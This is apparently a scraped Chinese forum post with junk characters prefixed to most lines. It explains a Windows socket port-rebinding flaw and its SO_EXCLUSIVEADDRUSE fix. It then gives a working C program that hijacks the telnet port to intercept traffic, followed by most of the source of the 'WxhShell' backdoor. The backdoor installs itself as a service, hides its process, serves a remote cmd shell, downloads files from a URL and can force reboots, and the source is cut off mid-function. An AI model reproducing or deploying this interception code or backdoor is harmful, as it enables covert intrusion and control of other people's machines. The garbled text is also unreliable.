在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
D?3^>h s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,9W|$2=F Zi fAn saddr.sin_family = AF_INET;
TPrqb @<O
Bt d saddr.sin_addr.s_addr = htonl(INADDR_ANY);
u<l[S Wo@0yF@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
o'Byuct _f u?, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
U1t7XZ3e g9`z]qGWS: 这意味着什么?意味着可以进行如下的攻击:
uMToVk`Uv J
;=~QYn[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
x2\,n ~I%m[fQ S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
['~B& V3NQij( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#,1Kum
bG3 $ Aw"?&d" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
E
hROd r_f?H@ v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`r:n[N=Y& {f\/2k3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
kqfO3{-;{: tB_GEt2M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
f\}fUg2 "+iPeRF!hU #include
"RH pj3 si #include
Uv~r]P) #include
Y9)uy 8c #include
fG107{!g= DWORD WINAPI ClientThread(LPVOID lpParam);
A&OU;j] int main()
fWKI~/eUY| {
l.c*,9
WORD wVersionRequested;
>weY_%a DWORD ret;
FabzP_<b WSADATA wsaData;
mX9amS&B$ BOOL val;
GRK+/1C SOCKADDR_IN saddr;
#MbkU]) SOCKADDR_IN scaddr;
F/FUKXxx int err;
I5l5fx SOCKET s;
'a`cK;X9F SOCKET sc;
YQWGv,47\ int caddsize;
g?.ls{H HANDLE mt;
3?F*|E_ DWORD tid;
XjL)WgQ{i wVersionRequested = MAKEWORD( 2, 2 );
dBKL_'@@} err = WSAStartup( wVersionRequested, &wsaData );
pPSmSWD? if ( err != 0 ) {
Lj"@JF;c printf("error!WSAStartup failed!\n");
*"\QR>n return -1;
]uN}n;`12 }
Fy^=LrH=D saddr.sin_family = AF_INET;
LE!xj 0 $^F
L*w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
UMN3.-4K# n
7Mab saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#d,+87]\= saddr.sin_port = htons(23);
AM4lAq_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
18ApHp {
h\#\hx printf("error!socket failed!\n");
Y[l*>}:w return -1;
4NaL#3 }
7JvBzD42 val = TRUE;
Cku#[?G //SO_REUSEADDR选项就是可以实现端口重绑定的
{k4)f ad\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fk5xIW {
1 PL2[_2: printf("error!setsockopt failed!\n");
w\o?p.drp= return -1;
\wR $_X& }
!2-f%x]tO //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
A
dNQS //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^=f<WKn //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
WC6yQSnY& V(hM@ztN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
F7!g+LPc< {
*E*=
;BG ret=GetLastError();
tk'1o\@p9b printf("error!bind failed!\n");
0!<qfT
a return -1;
TR;" &'#k }
N`3q54_$ listen(s,2);
}HB>Zb5 while(1)
vGe]; {
0_F6t- caddsize = sizeof(scaddr);
q~esxp //接受连接请求
Ass : sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2a=3->D& if(sc!=INVALID_SOCKET)
]S@zhQ {
RLy(Wz3% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V
iY -&q' if(mt==NULL)
`1}WQS {
rC`pTN printf("Thread Creat Failed!\n");
CD}::7$ break;
U"nk AW }
,%)O/{p_ }
,X+LJe$ CloseHandle(mt);
_yH{LUIj }
Blw AD closesocket(s);
+,7nsWV WSACleanup();
*0vq+C return 0;
O;zq(/,-l }
?4k/V6n@y DWORD WINAPI ClientThread(LPVOID lpParam)
.|\}]O` {
~quof> SOCKET ss = (SOCKET)lpParam;
'q3<R%^Q SOCKET sc;
``X1xiB unsigned char buf[4096];
RT+pB{Y SOCKADDR_IN saddr;
WP5cC@x long num;
W|X=R?*ZK DWORD val;
b|SDg%e DWORD ret;
Q]/ZVcoqo //如果是隐藏端口应用的话,可以在此处加一些判断
sfD@lW3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
SvTd#>ke saddr.sin_family = AF_INET;
l k~VvRq saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!wbO:py[8> saddr.sin_port = htons(23);
s#Os?Q? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
s2Z'_rT {
C{{RU7iqc& printf("error!socket failed!\n");
EM2=g9y return -1;
` nd/N# }
77 g<`}{ val = 100;
eELLnU{" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
58[=.rzD {
4d x4hBd ret = GetLastError();
xUW\P$ return -1;
k)j6rU }
+56N}MAs if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-!@]z2uU {
Nm{+!}cC ret = GetLastError();
.(J~:U return -1;
7)RDu,fx }
Dj9v9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D02'P{ {
h(~@
nd{ printf("error!socket connect failed!\n");
83(-/y closesocket(sc);
'c7'iDM closesocket(ss);
8'>yB return -1;
$^TxLv }
uSsP'qd while(1)
MnLo{G] {
fA$2jbGW //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ltWEA //如果是嗅探内容的话,可以再此处进行内容分析和记录
3<XP/c"; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
wZUZ"Y}9 num = recv(ss,buf,4096,0);
$.Ia;YBf if(num>0)
SO|!x}GfI send(sc,buf,num,0);
9q/k,g else if(num==0)
m| uVmg!* break;
FOyANN' num = recv(sc,buf,4096,0);
wC>}9OM if(num>0)
;NoiH& send(ss,buf,num,0);
+ *W%4e else if(num==0)
"g5<j p break;
y&n-8L_ }
5)c B\N1u closesocket(ss);
Lo<WK closesocket(sc);
#x+7-hi return 0 ;
*Uw" `l }
`uwSxt =L\&}kzB W-RqooEv ==========================================================
i}L*PCP Vg^yjP{sv 下边附上一个代码,,WXhSHELL
A3Xfu$[u <B
Vx% ==========================================================
:R'={0Jg Y=?Tm,z4 #include "stdafx.h"
l NLa:j og?L 9 #include <stdio.h>
M7fPaJKL #include <string.h>
IKrojK8-? #include <windows.h>
{1"kZL #include <winsock2.h>
u0Bz]Ux/Q #include <winsvc.h>
`t7z
LC^c #include <urlmon.h>
K_Pbzj4(P :u,Ji9
u #pragma comment (lib, "Ws2_32.lib")
FrsXLUY #pragma comment (lib, "urlmon.lib")
&c^tJ-s *snY|hF #define MAX_USER 100 // 最大客户端连接数
%$<v:eMAs #define BUF_SOCK 200 // sock buffer
XI'.L ~ #define KEY_BUFF 255 // 输入 buffer
Wh)>E!~9 %oOSmt #define REBOOT 0 // 重启
OwN~-).%- #define SHUTDOWN 1 // 关机
P6 7*-Ki I]z4}#+cX #define DEF_PORT 5000 // 监听端口
hg7_ZjO B)x^S
> #define REG_LEN 16 // 注册表键长度
3:aj8F2 #define SVC_LEN 80 // NT服务名长度
!lL~#l:F "sSY[6Kp! // 从dll定义API
R('\i/fy typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
'kSm}}y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~}_S]^br typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Sa-" G` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?>1wZ i'B$Xr // wxhshell配置信息
#z61I"kU struct WSCFG {
2U`!0~pod int ws_port; // 监听端口
v'Pbx char ws_passstr[REG_LEN]; // 口令
Nh01NY; int ws_autoins; // 安装标记, 1=yes 0=no
rMoz+{1A char ws_regname[REG_LEN]; // 注册表键名
58t_j54 char ws_svcname[REG_LEN]; // 服务名
*m8{yh char ws_svcdisp[SVC_LEN]; // 服务显示名
$WiUoS char ws_svcdesc[SVC_LEN]; // 服务描述信息
SN 4JX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-C2[ZP- int ws_downexe; // 下载执行标记, 1=yes 0=no
sk5B} - char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
zWrynJ}s char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L0R$T=~%) 9JqT"zj };
]*X z~Ox2 x9o(q`N // default Wxhshell configuration
t~|`RMn" struct WSCFG wscfg={DEF_PORT,
?@^gpVK{ "xuhuanlingzhe",
BS2'BS8 1,
6"9(ce
KX "Wxhshell",
gSHN,8.
` "Wxhshell",
,:{+-v( "WxhShell Service",
',1[rWyc "Wrsky Windows CmdShell Service",
_4
YT2k "Please Input Your Password: ",
?^ R"a## 1,
/&E]qc*-p "
http://www.wrsky.com/wxhshell.exe",
Uuktq)NU "Wxhshell.exe"
50dx[v8 };
R"{P#U,HNO $T_>WUiK // 消息定义模块
? r}2JHvN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
( m7qc char *msg_ws_prompt="\n\r? for help\n\r#>";
l15Z8hYhj char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6H!l>@a7v char *msg_ws_ext="\n\rExit.";
yb-4[C:i char *msg_ws_end="\n\rQuit.";
@zJiR{Je-U char *msg_ws_boot="\n\rReboot...";
`Bb32L char *msg_ws_poff="\n\rShutdown...";
xS; tmc char *msg_ws_down="\n\rSave to ";
Z6nQW53- FP")$
,=s char *msg_ws_err="\n\rErr!";
Q?bC'147O char *msg_ws_ok="\n\rOK!";
[M#(su0fv n0)y|B# char ExeFile[MAX_PATH];
y,6KU$G int nUser = 0;
>x]ir HANDLE handles[MAX_USER];
~"Su2{"8B int OsIsNt;
tlYB'8bJY N+vsQ!Qz SERVICE_STATUS serviceStatus;
z2jS(N?J1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
sT,*<^ L=5Y^f'aU // 函数声明
xg4wtfAbS int Install(void);
)Wk&c8|y int Uninstall(void);
hbSKlb0d int DownloadFile(char *sURL, SOCKET wsh);
Of-8n- int Boot(int flag);
94?/Rhs5 void HideProc(void);
h(i_'P? int GetOsVer(void);
S3Fj /2Q8 int Wxhshell(SOCKET wsl);
s6D Pb_, void TalkWithClient(void *cs);
9fYof int CmdShell(SOCKET sock);
#+
{%>f int StartFromService(void);
6A4{6B int StartWxhshell(LPSTR lpCmdLine);
9R:?vk4 a_zf*; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3x=NSe|f VOID WINAPI NTServiceHandler( DWORD fdwControl );
Z^ .qX\<M /PpZ6ne~[ // 数据结构和表定义
>ktekO:H SERVICE_TABLE_ENTRY DispatchTable[] =
xs?]DJj {
)h,}v()qc# {wscfg.ws_svcname, NTServiceMain},
g(R!M0hdF {NULL, NULL}
'X~CrgQl };
JHuA}f{2&
r@Xh8
r; // 自我安装
JmuoYl f| int Install(void)
g@m__ {
L>rW S-
char svExeFile[MAX_PATH];
+D?Re%HI HKEY key;
uFG ;AY| strcpy(svExeFile,ExeFile);
0xV[C4E[6 LAGg(:3f3 // 如果是win9x系统,修改注册表设为自启动
b~?3HY:t~K if(!OsIsNt) {
C9j5Pd5q1L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"uBr]N: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6Z-[-0o+g RegCloseKey(key);
\wp8kSzC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
} 7i}dyQv} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k~]\kv= RegCloseKey(key);
3=_to7] return 0;
,U fB{BW }
RPkOtRKL=w }
-];Hb'M.!e }
h:
zi8;( else {
ze`qf% scZ'/(b-E // 如果是NT以上系统,安装为系统服务
Oe0dC9H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
(Li)@Cn% if (schSCManager!=0)
OQ _wsAA {
3ZqtIQY` SC_HANDLE schService = CreateService
T_qh_L3 (
u73/#!(1=H schSCManager,
V6b) wscfg.ws_svcname,
J!:v`gb#@A wscfg.ws_svcdisp,
h)T-7b SERVICE_ALL_ACCESS,
F5<GGEQb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_p| KaT`` SERVICE_AUTO_START,
aT=V/Xh}d SERVICE_ERROR_NORMAL,
ScC!?rTW~7 svExeFile,
{ZgycMS NULL,
4OdK@+-8U NULL,
QezDm^< NULL,
!e0/1 j= NULL,
L/: u NULL
e0<L^|S );
leEzfbb{'. if (schService!=0)
cx4'rK. {
0.!Q4bhD CloseServiceHandle(schService);
5O"wPsl CloseServiceHandle(schSCManager);
q?oJ=]m" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7
P]Sc strcat(svExeFile,wscfg.ws_svcname);
R(HW0@R@w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
po+1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|y2cI,& RegCloseKey(key);
!n5s/"'H return 0;
|Vc:o_n7 }
u=6{P(5$j }
g$S<_$Iey CloseServiceHandle(schSCManager);
U=UnE"h }
Gp))1b'; }
?[q.1O XJf1LGT5 return 1;
O[#B906JB }
@0rwvyE=+3 3WF6bJN // 自我卸载
_xXDvBU int Uninstall(void)
Q"H1(kG| {
|p+ xM HKEY key;
cH$Sk D\V
(r\i if(!OsIsNt) {
"zN]gz=OV> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
h2edA#bub RegDeleteValue(key,wscfg.ws_regname);
o8S)8_3 RegCloseKey(key);
UjQi9ELoJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oNBYJ]t RegDeleteValue(key,wscfg.ws_regname);
g/m%A2M&aH RegCloseKey(key);
(
j~trpe, return 0;
]6EXaf# }
5>[j^g+@ }
>a1ovKF }
g,cl|]/\d else {
:n<<hR0d S#,
E)h/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
f<G:}I if (schSCManager!=0)
)haHI)xR {
~0@+8%^>; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T1r^.;I: if (schService!=0)
g3uI1]QXLg {
EYF]&+ 9 if(DeleteService(schService)!=0) {
kT6EHuB CloseServiceHandle(schService);
%j?<v@y CloseServiceHandle(schSCManager);
a=3{UEi'o return 0;
+']S }
OQh(qa CloseServiceHandle(schService);
(s.S
n(E }
ur2`.dY>3" CloseServiceHandle(schSCManager);
9}6^5f?| }
=2[U4<d!R }
~2*8pb 4 gT6@0ANq return 1;
B%Spmx8 }
l~Sn`%PgA sGD b< // 从指定url下载文件
Qf]ACN int DownloadFile(char *sURL, SOCKET wsh)
SpUcrK;1 {
M0zlB{eH HRESULT hr;
Px))O&w{ char seps[]= "/";
A">A@`} char *token;
-!]dU`:(X char *file;
nY<hfqof char myURL[MAX_PATH];
D;al(q char myFILE[MAX_PATH];
vMOit,{ 1JoRP~mMxa strcpy(myURL,sURL);
_'E,g@ token=strtok(myURL,seps);
` `R;x while(token!=NULL)
{?9s~{Dl {
! G+/8Q^ file=token;
Tfl4MDZb token=strtok(NULL,seps);
7)Rx- }
Y-WYQ{ Q[k7taoy GetCurrentDirectory(MAX_PATH,myFILE);
KwiTnP!Dca strcat(myFILE, "\\");
KD7RI3'? strcat(myFILE, file);
cTeEND) send(wsh,myFILE,strlen(myFILE),0);
v+|N7 send(wsh,"...",3,0);
nUvxO `2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
b%<i&YY# if(hr==S_OK)
7=ZB?@bU~ return 0;
lS(?x|dO else
}9xEA[@; return 1;
J$?*qZ(oO X|7Y|0o }
5E/z.5 q `MtPua\_ // 系统电源模块
O`hOVHDQ int Boot(int flag)
rE
bC_< {
@M-+-6+ HANDLE hToken;
2|)3Ly9 TOKEN_PRIVILEGES tkp;
~a5p_x P =,~h]_\_ if(OsIsNt) {
:,=no>mMx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
v&B*InR?+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/0mbG!Ac tkp.PrivilegeCount = 1;
+BRmqJ3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
B&`hvR AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
PQRh5km if(flag==REBOOT) {
YGObTIGJvf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
oP".>g-. return 0;
?*z#G'3z1 }
:sBg+MS else {
g(Jzu' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
$Rsf`*0- return 0;
hb"t8_--c }
gC#PqK~ }
xh\{ dUPA else {
Y$ ;C@I if(flag==REBOOT) {
']+ -u{+# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h&Ehp return 0;
Q-%Q7n'c }
^Q]*CU+C else {
bO:Ei if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
78\:{i->ta return 0;
(@dh"=Lt\ }
Qc z7IA }
Poacd;* N(@'L43$V return 1;
Dm6}$v'0 }
tqE LF Dqe/n_Z // win9x进程隐藏模块
b$nXljV4? void HideProc(void)
j3rBEQ,R {
+'?p $@d tH<v1LEZN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
9/MUzt if ( hKernel != NULL )
`av8|; {
oQ 5g0(J~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
iZQwo3"8r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
](vshgp2 FreeLibrary(hKernel);
Z
xLjh }
l,*v/95h =/"Of return;
rO/mK$ }
>'/G:\M>A k=O2s'F` // 获取操作系统版本
)kl| 5i int GetOsVer(void)
Mu18s} {
3mgFouX2x, OSVERSIONINFO winfo;
vt[4"eU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
zqqpBwk# GetVersionEx(&winfo);
j[yGfDb if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
A8hj"V47 return 1;
sf]y\_zU else
#"6(Q2|
l return 0;
{>G\3|^D }
s@f4f__(] l0g#&V-- // 客户端句柄模块
Zbxd,|<| int Wxhshell(SOCKET wsl)
-Xkdu?6Eh {
28-6(oG SOCKET wsh;
*~fZ9EkD struct sockaddr_in client;
|^Z1 D TAw DWORD myID;
<oPo?r|oM| VY@uQ#&A while(nUser<MAX_USER)
/g712\?M4 {
rSB"0W7 int nSize=sizeof(client);
Ywt_h;: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
mUzNrkG(G if(wsh==INVALID_SOCKET) return 1;
7[QU
*1bk __$IbF5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=A<kDxqH if(handles[nUser]==0)
&TSt/b/+W closesocket(wsh);
\i "I1xU else
R5G~A{w0 nUser++;
Y*3qH] }
bmc1S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;'dw`)~jQ X(1nAeQ return 0;
s'ntf }
9'Y~! vY FqQm*k_ // 关闭 socket
SZ~Ti|^ void CloseIt(SOCKET wsh)
LDW":k| {
R,/?p closesocket(wsh);
()K%Rn nUser--;
=lS~2C ExitThread(0);
0[xum }
FJv=5L ];^A8? // 客户端请求句柄
WYwsTsG{_ void TalkWithClient(void *cs)
1fQvh/2 {
>ALU}o/ zrE
~%YR SOCKET wsh=(SOCKET)cs;
on(F8%]zE char pwd[SVC_LEN];
6CLrP}
u char cmd[KEY_BUFF];
95aa char chr[1];
2;5EH0 int i,j;
! k||-Q& V{$(#r while (nUser < MAX_USER) {
?y'KX]/ -Duy:C6W if(wscfg.ws_passstr) {
+%6{>C+bZo if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S3:Pjz}t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0(ZER sP //ZeroMemory(pwd,KEY_BUFF);
<m`HK.|~ i=0;
Gk8"fs while(i<SVC_LEN) {
z*l3O~mZ P
5m{}@g // 设置超时
A"\kdxC fd_set FdRead;
4t|g G`QW7 struct timeval TimeOut;
b3MgJT"mN FD_ZERO(&FdRead);
EkEM|<GNd FD_SET(wsh,&FdRead);
5l2Ph4( TimeOut.tv_sec=8;
A<r@,*(g TimeOut.tv_usec=0;
AR]y p{NS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
II)\rVP5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
PLKp<kg IBf&'/ 8\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
rv&(yA pwd
=chr[0]; S$+vRX7
if(chr[0]==0xd || chr[0]==0xa) { 8}\VlH]
pwd=0; .Frc:Y{
break; 782be-n
} B+iVK(j'[v
i++; 1SP)`Q
} +e`f|OQ
4VSlgoz
// 如果是非法用户,关闭 socket iRS )Z)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?zQ\u{]=
} c\-5vw||b
syA*!Up
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W @`Nn*S
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3)T'&HKQ
*O#%hTYq
while(1) { a:Y6yg%1>
\kvd;T#t6
ZeroMemory(cmd,KEY_BUFF); rm;'/l8Y-E
7qA0bUee5
// 自动支持客户端 telnet标准 cTHS Pr?<
j=0; xpx=t71Hq
while(j<KEY_BUFF) { Tw)nFr8oF]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ANc)igo
cmd[j]=chr[0]; kTAb
<
if(chr[0]==0xa || chr[0]==0xd) { ixw3Z D(>+
cmd[j]=0; &xgMqv2/
break; s-}|_g.Pt
} JWr:/?
j++; bA@!0,m
} tU>wRw=d
G6w&C^J*8>
// 下载文件 Z%y>q|:
if(strstr(cmd,"http://")) { 2^bq4c4J
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |[CsLn;
if(DownloadFile(cmd,wsh)) xpxUn8.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U,LW(wueT
else j5|_SQOmt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LU l6^JU
} :@r E&
else { XpdDIKMmE
#25Z,UU
switch(cmd[0]) { 6B)(kPW
=\B{)z7@6D
// 帮助 9
#TzW9
case '?': { sNc(aGvy
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9AD`,]b
break; C~ t?<
} +J}
wYind
// 安装 $\Bzp<SN`
case 'i': { K19/M1~
if(Install()) h8Q+fHDYv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X]U,`oE)9
else --d<s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;gYW!rM
break; =MEv{9_
} 5DK>4H:
// 卸载 K}tl,MMU
case 'r': { K:Wxx"
if(Uninstall()) i6?,2\K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %%`Nq&'
else #:s*)(Qn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P,k~! F^L
break; swYlp
} kQ7$,K#
// 显示 wxhshell 所在路径 WjW+EF8(
case 'p': { 0^az<!!O#
char svExeFile[MAX_PATH]; :tp2@*]9Z
strcpy(svExeFile,"\n\r"); D*6v.`]X
strcat(svExeFile,ExeFile); mcy\nAf5%
send(wsh,svExeFile,strlen(svExeFile),0); L3JFQc/oh~
break; Yz=(zj
} OXe+=Lp<
// 重启 onRxe\?D(
case 'b': { gELk u .
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N:GS fM@g
if(Boot(REBOOT)) K#rfQ0QK/!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OSQZ5:g|
else { Py$Q]s?\1
closesocket(wsh); {YC!pDG
ExitThread(0); Ehi)n)HhG"
} f.JZ[+
break; mE'y$5ZxY
} ye:pGa w
// 关机 -G e5gQ=
case 'd': { rZ2X$FO@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b6:A-jb*I
if(Boot(SHUTDOWN)) PElC0qCn[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C93BK)$}
else { Xf!@uS6<X
closesocket(wsh); NUbw]Y90~
ExitThread(0); u~[HC)4(0
} _BO:~x
break; LSQWveZz
} 59!yz'feF
// 获取shell 1j0OV9 -|
case 's': { \ZX5dFu0
CmdShell(wsh); T]-yTsto
closesocket(wsh); i]J*lM7'
ExitThread(0); g}"`@H(9r3
break; xI}o8G KQq
} dU1w)Y
// 退出 n8UQIa4&=
case 'x': { I=o[\?u*_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); to,DN2rN
CloseIt(wsh); ("Z;)s4q
break; s0uI;WMg
} SF$7WG3Q
// 离开 =}>wxO
case 'q': { G6(kwv4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1^XuH('
closesocket(wsh); Yv k
Qh{
WSACleanup(); d~F`q7F'?]
exit(1); ^`~M f
break; _;(`u!@/{
} ]Q,;5>#W
} /_<`#?5T(
} b&[9m\AX`
aSdh5?
// 提示信息 HeABU(o4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !>fYD8Ft,
} yTzP{I
} LOQoi8j
c.-h'1
return; A}WRpsA9
} _a1 =?
WA}<Zme3[
// shell模块句柄 _J(n~"eR
int CmdShell(SOCKET sock) xxkUu6x#
{ /WlK*8C
STARTUPINFO si; Atsi}zTR\
ZeroMemory(&si,sizeof(si)); jXA!9_L7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W9n0Jv
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b?9c\-}
PROCESS_INFORMATION ProcessInfo; i{[=N9U5o
char cmdline[]="cmd"; DTmv2X
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )*#Pp )Q
return 0; JwCv(1$GM
} u$ [R>l9
+13h*
// 自身启动模式 MJNY#v3
int StartFromService(void) d]1%/$v^
{ 2{;&c
typedef struct R}Pw#*B
{ [M>Md-pj
DWORD ExitStatus; :*bv(~FW
DWORD PebBaseAddress; %x@
D i`;
DWORD AffinityMask; 7'u<)V
